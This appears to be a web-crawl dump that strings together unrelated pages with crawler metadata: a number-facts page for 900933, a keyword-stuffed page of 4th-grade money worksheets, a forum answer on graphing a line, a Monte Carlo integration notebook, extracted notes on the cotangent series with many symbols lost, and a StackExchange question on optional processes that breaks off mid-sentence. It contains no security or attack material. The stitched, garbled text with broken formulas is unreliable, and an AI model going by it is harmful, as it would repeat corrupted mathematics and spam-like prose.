] | {"ft_lang_label":"__label__en","ft_lang_prob":0.699758,"math_prob":0.9844012,"size":3411,"snap":"2021-04-2021-17","text_gpt3_token_len":1286,"char_repetition_ratio":0.12474318,"word_repetition_ratio":0.6163328,"special_character_ratio":0.42919964,"punctuation_ratio":0.07586207,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97548264,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-20T08:03:58Z\",\"WARC-Record-ID\":\"<urn:uuid:cb9ef55d-b75e-4a3b-b3d2-6203bba538a2>\",\"Content-Length\":\"85399\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6cc83cb1-c6e9-4464-b3bb-e2589b4a80cb>\",\"WARC-Concurrent-To\":\"<urn:uuid:420bb038-fafe-46a4-b999-9150c2157951>\",\"WARC-IP-Address\":\"23.223.252.57\",\"WARC-Target-URI\":\"https://se.mathworks.com/matlabcentral/cody/problems/1068-guess-the-coefficients/solutions/173083\",\"WARC-Payload-Digest\":\"sha1:QFOGYKUHR7UI7OYK7ZSVUJRDDDPHU6XG\",\"WARC-Block-Digest\":\"sha1:3S2GVJXGOYDBXOIOHD2BCKM4SFT5CGEN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703519923.26_warc_CC-MAIN-20210120054203-20210120084203-00264.warc.gz\"}"} |
https://numbermatics.com/n/900933/ | [
"# 900933\n\n## 900,933 is an odd composite number composed of four prime numbers multiplied together.\n\nWhat does the number 900933 look like?\n\nThis visualization shows the relationship between its 4 prime factors (large circles) and 16 divisors.\n\n900933 is an odd composite number. It is composed of four distinct prime numbers multiplied together. It has a total of sixteen divisors.\n\n## Prime factorization of 900933:\n\n### 3 × 11 × 23 × 1187\n\nSee below for interesting mathematical facts about the number 900933 from the Numbermatics database.\n\n### Names of 900933\n\n• Cardinal: 900933 can be written as Nine hundred thousand, nine hundred thirty-three.\n\n### Scientific notation\n\n• Scientific notation: 9.00933 × 105\n\n### Factors of 900933\n\n• Number of distinct prime factors ω(n): 4\n• Total number of prime factors Ω(n): 4\n• Sum of prime factors: 1224\n\n### Divisors of 900933\n\n• Number of divisors d(n): 16\n• Complete list of divisors:\n• Sum of all divisors σ(n): 1368576\n• Sum of proper divisors (its aliquot sum) s(n): 467643\n• 900933 is a deficient number, because the sum of its proper divisors (467643) is less than itself. Its deficiency is 433290\n\n### Bases of 900933\n\n• Binary: 110110111111010001012\n• Base-36: JB5X\n\n### Squares and roots of 900933\n\n• 900933 squared (9009332) is 811680270489\n• 900933 cubed (9009333) is 731269541132466237\n• The square root of 900933 is 949.1749048515\n• The cube root of 900933 is 96.5822899605\n\n### Scales and comparisons\n\nHow big is 900933?\n• 900,933 seconds is equal to 3 days, 10 hours, 15 minutes, 33 seconds.\n• To count from 1 to 900,933 would take you about three days!\n\nThis is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)\n\n• A cube with a volume of 900933 cubic inches would be around 8 feet tall.\n\n### Recreational maths with 900933\n\n• 900933 backwards is 339009\n• The number of decimal digits it has is: 6\n• The sum of 900933's digits is 24\n• More coming soon!"
] | [
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https://patebury.com/amazing-4th-grade-money-worksheet/ | [
"HomeWorksheet Template ➟ 0 Amazing 4th Grade Money Worksheet\n\n# Amazing 4th Grade Money Worksheet\n\nGrade 2 money worksheets. Our money worksheets start with identifying coins and their values and progress through counting coins and shopping problems.",
null,
"Math Worksheets Dynamically Created Math Worksheets Money Math Worksheets Money Worksheets Money Math 4th grade money worksheet\n\n### Fourth grade money worksheets these fourth grade money worksheets continue to test your students with real life situations involving exchanging money.",
null,
"4th grade money worksheet. 4th Grade Money Worksheets. Money and counting money worksheets. Here are some more advanced worksheets on counting mixed coins.\n\nOur grade 4 subtraction worksheets are organized into two sections. Money worksheets grade 4 pdf have been provided to enhance your kids ability to easily recognize count and write all coins and dollar amounts. These fourth grade money worksheets continue to test your students with real-life situations involving exchanging money.\n\nIncluded in this section are worksheets with lists of items and prices fractions of money and more questions to practice addition and multiplication skills with dollars pounds or euros. A 4th grade money worksheets is the better thing for the kid to master because they could start creating their own worksheets to tackle math problems that they could be having. Below are three versions of our grade math worksheet with word problems involving the addition subtraction multiplication and division of amounts using money notation xxx.\n\nMoney is an important concept that not only improves math skills but is also a part of our day-to-day lives. Hence we have created a good number of remarkable 4th grade money activities as well as money word problems grade 4. This is a comprehensive collection of free printable math worksheets for fourth grade organized by topics such as addition subtraction mental math place value multiplication division long division factors measurement fractions and decimals.\n\nFourth grade money worksheets these fourth grade money worksheets continue to test your students with real life situations involving exchanging money. This worksheet is a supplementary fourth grade resource to help teachers parents and children at home and in school. Counting Money Worksheets.\n\nPosted in worksheet January 11 2021 by Amanda Word problem worksheets money notation. Money addition worksheet for 4th grade children. Grade 3 money worksheets Topics include.\n\nMental subtraction for exercises that students should attempt to solve in their heads without writing down intermediate steps. It has an answer key attached on the second page. 4th Grade Money Worksheets.\n\nThis is a math PDF printable activity sheet with several exercises. Improve your students money skills with these money math worksheets. Fourth Grade Money Worksheets.\n\nExplore fun online activities for 4th graders covering math ELA science more. Benefits of 4th Grade Money Worksheets. Counting coins and bills up to 20.\n\nCounting money up to 400 counting money up to 1200 and counting money up to 5000. This worksheet gives students practice adding decimals in money and units of measure through a mix of vertical addition horizontal addition and word problems. With a Worksheet Template you can teach them how to fix problems and they can use the worksheets to greatly help them figure out how to fix their problems.\n\nExplore fun online activities for 4th graders covering math ELA science more. Counting Coins and Bills Advanced This page has worksheets split up into 3 groups. These were designed for students in 2nd through 4th grades.\n\nIncluded in this section are worksheets with lists of items and prices fractions of money and more questions to practice addition and multiplication skills with dollars pounds or euros. These focus on adding decimals column addition estimation rounding and more. Counting Money 4th Grade In Pdf.\n\nIn 4th Grade Money by math4childrenplus. Money This math worksheet presents your child with word problems about money involving the four operations. Calculations are kept simple to emphasize the underlying meaning of the questions.\n\nGrade 1 money worksheets. Use mathematical models to represent and understand quantitative relationships. See all of our money worksheets from recognizing coins to counting coins and shopping problems.\n\nSome of the worksheets for this concept are I like money math reproducible work Money basics Math mammoth money Counting quarters Grade 2 counting money work 2nd grade money Number talks grades 3 5 resources. Fourth grade made is a transitional stage where focus shifts from many of the basic math facts towards applications. Fourth grade money worksheets these fourth grade money worksheets continue to test your students with real life situations involving exchanging money.\n\nChoose your grade topic. Money worksheets grade 4 are a great resource for students to understand concepts like counting coins comparing notes addition and subtraction of money and ordering money. K5 Learning offers free worksheets flashcards and inexpensive workbooks for kids in kindergarten to grade 5.\n\nModel problem situations with objects and use representations such as graphs tables and equations to draw conclusions. Money notation below are three versions of our grade 4 math worksheet with word problems involving the addition subtraction multiplication and division of amounts using money notation x xx. Counting Money 4th Grade In Pdf – Displaying top 8 worksheets found for this concept.\n\nCovers the following skills.",
null,
"Money Worksheets For Kids Counting Money Worksheets Money Worksheets Money Worksheet 4th grade money worksheet",
null,
"Count The Money Free Printable Money Worksheet For 4th Grade Money Worksheets Kids Math Worksheets Place Value Worksheets 4th grade money worksheet",
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"",
null,
"Pin On Classroom Ideas 4th grade money worksheet",
null,
"Money Worksheets Money Worksheets From Around The World Money Worksheets Money Math Money Math Worksheets 4th grade money worksheet",
null,
"Free Printable Customizable Counting Coins Worksheet Money Math Worksheets Money Worksheets Counting Money Worksheets 4th grade money worksheet",
null,
"Free Printables For Kids Money Worksheets Counting Money Worksheets Money Math 4th grade money worksheet",
null,
"Free Printables For Kids Money Math Worksheets Money Worksheets Learning Money 4th grade money worksheet",
null,
"Money Worksheets Money Worksheets From Around The World Money Worksheets Money Worksheets For Kindergarten Money Math 4th grade money worksheet"
] | [
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"https://i.pinimg.com/originals/b8/0f/24/b80f24349c259c09ad722b6c31c9539e.jpg",
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"https://i.pinimg.com/736x/cd/cd/fa/cdcdfa116675643117b67bc3dc39e276.jpg",
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"https://i.pinimg.com/originals/e4/db/5a/e4db5a147ca356c6498fa73b9bfaa542.jpg",
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"https://i.pinimg.com/originals/9a/38/65/9a38658619c31eaef18f4a38e80c436b.jpg",
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"https://i.pinimg.com/originals/51/57/45/5157455f43657a1731b55a11046b6b44.jpg",
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"https://i.pinimg.com/originals/8e/eb/a9/8eeba951afa23e6493fe0fc57ed40a38.jpg",
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https://web2.0calc.com/questions/how-would-i-graph-y-60-18x-335-30 | [
"+0\n\n# how would I graph: y=60.18x+335.30\n\n+1\n348\n1\n\nhow would I graph: y=60.18x+335.30\n\nOct 22, 2017\n\n#1\n+1\n\ny = 60.18x + 335.30\n\nThis is a linear equation, so if we just have two points we can draw a straight line through them.\n\nWhen x = 0 ,\n\ny = 60.18(0) + 335.30 = 335.30\n\nSo we know the graph contains the point (0, 335.3)\n\nWhen y = 0,\n\n0 = 60.18x + 335.30 → x = -335.30 / 60.18 ≈ -5.572\n\nSo we know the graph contains the point (-5.572, 0)\n\nPlot the points (0,335.3) and (-5.572, 0), and draw a straight line through them,\n\nlike this graph: https://www.desmos.com/calculator/ko1kbpzcpo\n\n(Notice that the x axis and y axis don't have the same increments.)\n\nOct 22, 2017\n\n#1\n+1\n\ny = 60.18x + 335.30\n\nThis is a linear equation, so if we just have two points we can draw a straight line through them.\n\nWhen x = 0 ,\n\ny = 60.18(0) + 335.30 = 335.30\n\nSo we know the graph contains the point (0, 335.3)\n\nWhen y = 0,\n\n0 = 60.18x + 335.30 → x = -335.30 / 60.18 ≈ -5.572\n\nSo we know the graph contains the point (-5.572, 0)\n\nPlot the points (0,335.3) and (-5.572, 0), and draw a straight line through them,\n\nlike this graph: https://www.desmos.com/calculator/ko1kbpzcpo\n\n(Notice that the x axis and y axis don't have the same increments.)\n\nhectictar Oct 22, 2017"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8619103,"math_prob":0.99986994,"size":1116,"snap":"2019-13-2019-22","text_gpt3_token_len":404,"char_repetition_ratio":0.14118706,"word_repetition_ratio":0.95734596,"special_character_ratio":0.44265231,"punctuation_ratio":0.207483,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999088,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-03-23T11:31:11Z\",\"WARC-Record-ID\":\"<urn:uuid:65858e5a-5a11-445d-bba3-fdf714339134>\",\"Content-Length\":\"22936\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c3f237e2-48b8-4f22-8e4d-a302ae26425f>\",\"WARC-Concurrent-To\":\"<urn:uuid:0e604d13-162b-416c-8c32-73ade8bccedd>\",\"WARC-IP-Address\":\"209.126.117.101\",\"WARC-Target-URI\":\"https://web2.0calc.com/questions/how-would-i-graph-y-60-18x-335-30\",\"WARC-Payload-Digest\":\"sha1:DHJN6I3VOUMTMGPWYJOXDTDZVNYINO6E\",\"WARC-Block-Digest\":\"sha1:AWH53FSTAVN2B32M25WNKR2I5LQZJ3EE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-13/CC-MAIN-2019-13_segments_1552912202781.83_warc_CC-MAIN-20190323101107-20190323123107-00495.warc.gz\"}"} |
https://risk-engineering.org/notebook/monte-carlo-integration.html | [
"This notebook is an element of the risk-engineering.org courseware. It can be distributed under the terms of the Creative Commons Attribution-ShareAlike licence.\n\nThis notebook contains an introduction to the use of NumPy for numerical integration using the Monte Carlo method.\n\n# Monte Carlo methods for numerical integration¶\n\nThis notebook contains an illustration of the use of Monte Carlo methods for numerical integration. See the associated course materials for an introduction to the use of stochastic simulation methods and to download this content as a Jupyter/Python notebook. Numerical integration is often used to evaluate risk measures in the finance industry.\n\n## First integral¶\n\n$\\int_1^5 x^2 dx$\n\n### Analytical method¶\n\nWe start by resolving this integral using the standard analytical method, assisted by the SymPy symbolic mathematics library.\n\nIn :\nimport sympy\nfrom sympy.interactive import printing\nprinting.init_printing(use_latex=\"mathjax\")\n\nx = sympy.Symbol(\"x\")\nsympy.integrate(x**2, (x, 1, 5))\n\nOut:\n$\\displaystyle \\frac{124}{3}$\nIn :\n# note that _ references the value of the previous cell\nfloat(_)\n\nOut:\n$\\displaystyle 41.3333333333333$\n\n### Numerical method¶\n\nThe expression we wish to integrate is very simple here, so calculating its integral analytically is easy (even without resorting to Python’s symbolic mathematics package!). In many cases, however, analytical approaches to integration are not feasible:\n\n• the expression we wish to integrate is very complicated, possibly without a closed analytical integral\n• it is only known in “black box” form (for instance a software module): we can evaluate it at various points but don’t know the corresponding equation\n\nIn such situations, stochastic simulation (“Monte Carlo”) methods allow us to generate an approximation of the integral, simply by evaluating the expression a large number of times at randomly selected points in the input space and counting the proportion that are less than the integrand at that point. The larger the number of simulations we run, the better the approximation (and note that computers are very very fast today, so on simple problems the simulation will run in a blink of an eye!).\n\nIn :\nimport numpy\n\nIn :\nN = 100_000\naccum = 0\nfor i in range(N):\nx = numpy.random.uniform(1, 5)\naccum += x**2\nmeasure = 5 - 1\nmeasure * accum/float(N)\n\nOut:\n$\\displaystyle 41.2241963497441$\n\n## Second integral¶\n\nTask: resolve the integral $\\int_3^2 x^2 + 4 x sin(x)$.\n\n### Analytical solution¶\n\nIn :\nx = sympy.Symbol(\"x\")\nfloat(sympy.integrate(x**2 + 4 * x * sympy.sin(x), (x, 2, 3)))\n\nOut:\n$\\displaystyle 11.8113589250983$\n\n### Stochastic solution¶\n\nIn :\nN = 100_000\naccum = 0\nfor i in range(N):\nx = numpy.random.uniform(2, 3)\naccum += x**2 + 4*x*numpy.sin(x)\nmeasure = 3 - 2\nmeasure * accum/float(N)\n\nOut:\n$\\displaystyle 11.8102144834769$\n\nExercise: now undertake the same comparison of analytical and stochastic simulation methods to evaluate the integral\n\n$$\\int_1^3 e^{x^2}$$\n\n(Hint: the result should be approximately 1464.2)\n\n## A 2D integral¶\n\nNow we move to a 2D integral, $\\int\\int cos(x^4) + 3y^2 dx dy$ over $x ∈ [4,6]$ and $y ∈ [0, 1]$.\n\nMonte Carlo integration methods become increasingly attractive when compared to other numerical integration methods (such as quadrature) as the number of dimensions increases.\n\nLet’s examine the analytical solution, again thanks to sympy.\n\nIn :\nx = sympy.Symbol(\"x\")\ny = sympy.Symbol(\"y\")\nfloat(sympy.integrate(sympy.cos(x**4) + 3 * y**2, (x, 4, 6), (y, 0, 1)))\n\nOut:\n$\\displaystyle 2.00505508674967$\n\nNow compare with Monte Carlo estimation:\n\nIn :\nN = 100_000\naccum = 0\nfor i in range(N):\nx = numpy.random.uniform(4, 6)\ny = numpy.random.uniform(0, 1)\naccum += numpy.cos(x**4) + 3 * y * y\nmeasure = 2 * 1\nmeasure * accum/float(N)\n\nOut:\n$\\displaystyle 1.9946300281134$\nIn [ ]:"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7788113,"math_prob":0.997541,"size":3267,"snap":"2023-14-2023-23","text_gpt3_token_len":829,"char_repetition_ratio":0.123812445,"word_repetition_ratio":0.06719368,"special_character_ratio":0.26078972,"punctuation_ratio":0.12199037,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99962986,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-03-31T21:51:15Z\",\"WARC-Record-ID\":\"<urn:uuid:859656ac-9b15-4410-a474-74fb1f20beb4>\",\"Content-Length\":\"39700\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cdde6bcd-35bf-4ad4-9bbc-00306b2b1d18>\",\"WARC-Concurrent-To\":\"<urn:uuid:d6e049f2-cccd-455a-b5c2-849e30e6592b>\",\"WARC-IP-Address\":\"88.99.187.176\",\"WARC-Target-URI\":\"https://risk-engineering.org/notebook/monte-carlo-integration.html\",\"WARC-Payload-Digest\":\"sha1:TRMFN3GYKUPW4KTBKAVRIZOBJZ2J2J5R\",\"WARC-Block-Digest\":\"sha1:N3FJZKDKCDDHB4MFRUQOHK4XZNTODYTS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-14/CC-MAIN-2023-14_segments_1679296949689.58_warc_CC-MAIN-20230331210803-20230401000803-00299.warc.gz\"}"} |
https://fr.scribd.com/document/246206052/cotan | [
"Vous êtes sur la page 1sur 5\n\nA SERIES REPRESENTATION OF THE COTANGENT\n\n\u0013\n\u0012\n1 X\n1\n1\ncot z = +\n+\nz n=1 z n z + n\n=\n\nX\n1\n1\n.\n+ 2z\n2 n2\nz\nz\nn=1\n\nThe function cot z (for nonintegers z C) is analytic and Z-periodic. Near\n\nz = 0 we have\n1\n1\ncot z\n= ,\nz\nz\nso that cot z is also meromorphic at 0, having a simple pole there with residue 1.\nBy Z-perodicity, the same holds at each integer n. Thus, a nave first attempt to\nimitate cot z by a series is\nX 1\n.\nzn\nnZ\n\nHowever, the nth term of this series is O(1/n), so that the series is not even\nsummable. One can fix this problem by modifying the terms to obtain the series\n\u0012\n\u0013\n1 X\n1\n1\n+\n+\n.\nz\nzn n\nn6=0\n\nNow the nth term is\n\n1\u0001\n1\n1\nz\n+ =\n=O 2 ,\nzn n\n(z n)n\nn\nand so the new series is summable. In fact, this calculation shows that the new\nseries is absolutely summable, so that its terms can be rearranaged. In particular,\npairing the terms for n and n gives\n1\n1\n1\n1\n1\n1\n+ +\n=\n+\nzn n z+n n\nzn z+n\n2z\n= 2\n,\nz n2\nand these are the terms of the series that we began with, in both of its forms. So\nat least that series converges absolutely for any noninteger z C.\nAll of this said, the series that we began with (in either of its forms) is not a\nLaurent series, and so part of the task here is to show that it defines a meromorphic\nfunction at all. And even if it does, the preceding calculation has exposed a problem.\nThe nth term-with-correction of the series, evaluated at z + m (where m is an\ninteger) rather than at z, is\n1\n1\n.\nz+mn n\n1\n\nA SERIES REPRESENTATION OF THE COTANGENT\n\nThis is not any term whatsoever of the series evaluated at z. The corrections\nrequired to make a convergent series also make a series that is not obviously Zperiodic as a function of z, as it must be to represent the cotangent.\nTo show that the sum is meromorphic, recall a result from a previous writeup:\nLet be a region in C. Consider a sequence of differentiable functions on ,\n{0 , 1 , 2 , . . . } : C.\nSuppose that the sequence converges on to a limit function\n: C\nand that the convergence is uniform on compact subsets of . Then\n(1) The limit function is differentiable.\n(2) The sequence {0n } of derivatives converges on to the derivative 0 of the\nlimit function.\n(3) This convergence is also uniform on compact subsets of .\nTo apply the result here, let = C Z, a region in C. Define\n\u0013\nn \u0012\n1\n1\n1 X\n+\n, n = 0, 1, 2, . . . .\nn : C,\nn (z) = +\nz j=1 z j\nz+j\nThis is the sequence of partial sums of\n\n: C,\n\n(z) =\n\n1 X\n+\nz j=1\n\n1\n1\n+\nzj\nz+j\n\n\u0013\n.\n\n|z 2 j 2 | j 2 |z|2 > j 2 j 2 /2 = j 2 /2,\n\nand so\n\n1\n2\n\nz2 j 2 < j 2 .\nThis shows that the partial sums\nn (z) =\n\nn\nX\n1\n1\n+ 2z\n2\nz\nz j2\nj=1\n\n(z) =\n\nX\n1\n1\n+ 2z\n.\n2 j2\nz\nz\nj=1\n\nWe need to show that the convergence is uniform on compact subsets of . Let\n\nK be such a subset, and let > 0 be given. There is a uniform bound b > 0 on\nthe absolute values |z| for all z K. Also, there a starting index n0 such that for\nany n > n0 ,\n\n1\n< .\n2\nj\n4b\nj=n+1\n\nA SERIES REPRESENTATION OF THE COTANGENT\n\nConsider any n such that n > n0 and also n > 2b. For such n and for all z K,\n\nX\nX\nX\n1\n\n1\n2\n\n2b\n|(z) n (z)| = 2z\n< .\nz 2 j 2 2b\n2 j2\n2\nz\nj\nj=n+1\n\nj=n+1\nj=n+1\nThis shows that the convergence of {n } to on is uniform on compact subsets.\nBy the result, the limit function can be differentiated termwise. Now that we\nno longer need the symbol n to index partial sums, we return to the more natural\nnotation of using it as sum-index,\n\u0013\n\u0012\n\nX\n1 X\n1\n1\n1\n1\n,\n(z) = +\n+\n= + 2z\n2 n2\nz n=1 z n z + n\nz\nz\nn=1\nand\n0 (z) =\n\nX\nnZ\n\n1\n.\n(z n)2\n\nThe second series for shows that it is odd, and the series for 0 shows that it\nis even. The convergence of 0 is again absolute, and so 0 is Z-periodic by a\ncalculation that rearranges terms,\nX\nX\n1\n1\n0 (z + m) =\n=\nwhere n0 = n m.\n2\n0 )2\n(z + m n)\n(z\n\nn\n0\nnZ\n\nn Z\n\nIt follows that\n\u00010\n(z + 1) (z) = 0 (z + 1) 0 (z) = 0 (z) 0 (z) = 0,\nso that\n(z + 1) (z) = c for some constant c.\nTo show that is Z-periodic, we need to show that c = 0. But in particular,\nc = (1/2) (1/2) = 2(1/2)\n\nsince is odd,\n\n\u0012\nX\nX\n1\n1\n(1/2) = 2 +\n=\n2\n\n1\n2\n\nn\nn\n\nn=1 4\nn=1\n\n1\n2\n\n1\nn+\n\n\u0013\n1\n2\n\nThe sum telescopes to 2, giving the desired result.\n\nThe argument so far shows that the function (z) 1/z is also analytic at z = 0.\nTherefore itself is meromorphic at 0, having a simple pole there with residue 1.\nBy the Z-periodicity, the same holds at each integer n. This matches the behavior\nof cot z. Thus the difference cot z (z) is entire. We want to show that it\nis the zero function.\nThe first step is to show that the difference is bounded, making it constant by\nLiouvilles theorem. Since the difference is Z-periodic in the x-direction, it suffices\nto show that is bounded as |y| , and for this it suffices to show that each of\ncot z and (z) is individually bounded as |y| . Compute first that\ncot z = i\n\ne2iz + 1\n2i\neiz + eiz\n=\ni\n= i + 2iz\n.\niz\niz\n2iz\ne e\ne\n1\ne\n1\n\nAlso |e2iz | = e2y , so limy+ cot z = i and limy cot z = i. On\n\nthe other hand, suppose now that z = x + iy where 0 x < 1 and |y| > 1. Then\nwe have the inequalities |y| |z| |y| + 1 and\n|z 2 n2 | = |x2 y 2 n2 + 2ixy| y 2 + n2 x2 y 2 + n2 1.\nIt follows that\n|(z)|\n\nX\n1\n1\n+ 2(|y| + 1)\n.\n2\n|y|\ny + n2 1\nn=1\n\nLet = b|y|c. Then\n\nX\nX\n1\n1\n=\n,\n2\n2\n2\ny + n 1 m=0 r=1 y + (m + r)2 1\nn=1\n\nX\nr=1\n\n1\n2\n=\n.\ny 2 + (m + r)2 1\n+ (m)2\n(1 + m2 )\n\n|y| + 1 X\n1\n1\n+2\n,\n|y|\nb|y|c m=0 1 + m2\n\n|(z)|\n\nand so (z) is bounded as |y| as well.\n\nThus cot z (z) is constant. To see that the constant is 0, set z = 1/2.\nFrom before, (1/2) = 0. But also cot /2 = 0, giving the result.\nAs an application, we compare the power series expansions about z = 0 of the\ntwo now-known-to-be-equal functions\nz(z)\n\nand\n\nz cot z.\n\nFor the first expansion, compute that for |z| < 1,\n\nz(z) = 1 + 2z 2\n= 1 2z 2\n=12\n\nX\n1\n1\n1\n2\n=\n1\n\n2z\n\n2 n2\n2 1 z 2 /n2\nz\nn\nn=1\nn=1\n\nX\nX\nX\n1 X \u0010 z \u00112k\n1\n2k+2\n=\n1\n\n2\nz\n2\n2k+2\nn\nn\nn\nn=1\nn=1\nk=0\nk=0\nX\n(k)z k .\n\neven k2\n\nThat is, z(z) is a generating function for the EulerRiemann zeta function (k)\nat positive even values of k. On the other hand, the second expansion is essentially\na generating function for the Bernoulli numbers. Again for |z| < 1,\n\nz cot z = iz +\n\nX Bk\n2iz\n=\niz\n+\n(2iz)k\ne2iz 1\nk!\nk=0\n\n=1+\n\nX\neven k2\n\n(2i)k Bk k\nz .\nk!\n\n1 (2i)k Bk\n(k) =\n2\nk!\n\nIn particular, this formula combines with the values B2 = 1/6, B4 = 1/30,\n\nB6 = 1/42 to give\n(2) =\n\n2\n,\n6\n\n(4) =\n\n4\n,\n90\n\n(6) =\n\n6\n.\n945\n\nEulers formula for (k) (even k 2) can also be obtained by contour integration\ntechniques, as in our text. The idea is that since\nX (2i)k Bk\n1\ncot z = +\nz k1 ,\nz\nk!\neven k2\n\nit follows that for any even k 2,\n\n\u0013\n\u0012\n(2i)k Bk\ncot z\n=\nResz=0\n.\nk\nz\nk!\nBy contour integration,\n(2i)k Bk\n+ 2(k) = 0,\nk!\nand Eulers formula follows immediately.,\nSince cot z is Z-periodic it also has a Fourier series expansion. This is not\nthe same thing as is its Laurent series expansion. Instead, if z = x + iy with y > 0\nthen |e2iz | = e2y < 1, and so\n2i\ncot z = i + 2iz\ne\n1\n\nX\nq n , where q = e2iz .\n= i 2i\nn=0"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.70637935,"math_prob":0.9992941,"size":3228,"snap":"2019-43-2019-47","text_gpt3_token_len":1248,"char_repetition_ratio":0.104218364,"word_repetition_ratio":0.04601227,"special_character_ratio":0.36988848,"punctuation_ratio":0.11989796,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9997021,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-24T04:31:39Z\",\"WARC-Record-ID\":\"<urn:uuid:6941f1b3-a9d5-4bc5-97ad-166fd56d0c00>\",\"Content-Length\":\"322504\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5950a018-547f-4afe-b015-90a15cf669ba>\",\"WARC-Concurrent-To\":\"<urn:uuid:4840e507-6643-4c34-ba4b-3fa2d2a1263a>\",\"WARC-IP-Address\":\"151.101.250.152\",\"WARC-Target-URI\":\"https://fr.scribd.com/document/246206052/cotan\",\"WARC-Payload-Digest\":\"sha1:XGSO2ZKQ24ZFSA6EBCVHKFAGMS2ETYEX\",\"WARC-Block-Digest\":\"sha1:OCFHC7Z7KLWHNAZG56NVNUMXTWXIHLLS\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570987841291.79_warc_CC-MAIN-20191024040131-20191024063631-00444.warc.gz\"}"} |
https://math.stackexchange.com/questions/3544197/application-of-monotone-class-theorem-on-extending-measurability-to-optional-pro/3548250 | [
"# Application of monotone class theorem on extending measurability to optional processes",
null,
"I am not sure in this proof how the monotone class theorem is applied.\n\nI am familiar with the following version of the monotone class theorem. But I cannot tell what becomes $$\\mathscr{C}$$ and $$\\mathscr{H}$$ in this proof. So here $$\\mathscr{O}$$ is the $$\\sigma$$-algebra generated by all cadlag adapted processes. It seems like saying that the set of all processes that are $$\\mathscr{F} \\otimes \\mathbb{R}_+$$ - measurable and meet (a) and (b) for all stopping times is obviously a vector lattice and is stable under pointwise convergence suggest that this set must be $$\\mathscr{H}$$ in the monotone class theorem below. And the natural candidate for $$\\mathscr{C}$$ would be the set of all $$\\{X \\in B\\}$$ for all cadlag adapted processes $$X$$ and Borel sets $$B$$. But then I cannot show that this set is a $$\\pi$$-class. How is the intersection also of this form? And I cannot see why iii) would be satisfied as well. Finally, in the notes here, we assume that processes take values in $$\\mathbb{R}^d$$. So how can we extend this result on real processes to higher dimensions? I would greatly appreciate any help.",
null,
"• @TomookiYuasa I can't find an appropriate type for this argument. – nomadicmathematician Feb 15 at 18:19\n• @TomookiYuasa To apply the theorem you referred to, we need to let $\\Phi$ be the set of all processes that are $\\mathcal{F} \\otimes \\mathbb{R}_+$ measurable and meet (a) and (b) for all stopping times. Then, it satisfies (i) and (ii). But the conclusion gives that $\\Phi$ contains all bounded $\\mathcal{F} \\otimes \\mathbb{R}_+$ measurable processes. And this is not the conclusion we desire. – nomadicmathematician Feb 15 at 18:33\n• @TomookiYuasa Sorry I don't follow your argument. So we need to show that optional processes are both well measurable and satisfy (a) and (b) for all stopping times. The argument the book suggests is show that all cadlag adapted processes satisfy these conditions, then extend it to all optional processes by monotone class argument. I can't see how the type of monotone class theorem you referred to applies here. – nomadicmathematician Feb 15 at 18:59\n\nLemma (Monotone class theorem for optional processes). Let ($$d=1$$) and $$\\Phi$$ be a linear space of one-dimensional bounded $${\\mathcal F} \\otimes {\\mathcal B}({\\mathbb R}_{+})$$-measurable processes satisfying the following two conditions:\n\n(i) $$\\Phi$$ contains all bounded, cadlag adapted processes;\n\n(ii) if $$\\{\\phi_{n}\\}_{n \\in {\\mathbb N}}$$ is a monotone increasing sequence of processes in $$\\Phi$$ such that $$\\phi=\\sup_{n \\in {\\mathbb N}}\\phi_{n}$$ is bounded, then $$\\phi \\in \\Phi$$.\n\nThen $$\\Phi$$ contains all one-dimensional bounded optimal processes.\n\nProof of Lemma.\n\nStep1. Define $${\\mathcal O}':=\\{B;B \\subset \\Omega \\times {\\mathbb R}_{+} \\text{ such that } {\\bf 1}_{B} \\in \\Phi\\}.$$\n\nThen $${\\mathcal O}'$$ satisfies the following properties:\n\n(1) $$\\Omega \\times {\\mathbb R}_{+} \\in {\\mathcal O}'$$;\n\n(2) $$A,B \\in {\\mathcal O}'$$ with $$A \\subset B \\Rightarrow B \\setminus A \\in {\\mathcal O}'$$;\n\n(3) $$\\{A_{n}\\}_{n \\in {\\mathbb N}} \\subset {\\mathcal O}'$$ with $$A_{n} \\subset A_{n+1}$$, $$n \\in {\\mathbb N}$$ $$\\Rightarrow \\cup_{n}A_{n} \\in {\\mathcal O}'$$.\n\nIndeed, (1) holds by (i), (2) holds by (i) and the linearity of $$\\Phi$$, and (3) holds by (ii). Thus $${\\mathcal O}'$$ is a d-system on $$\\Omega \\times {\\mathbb R}_{+}$$ (cf. page 193, Williams 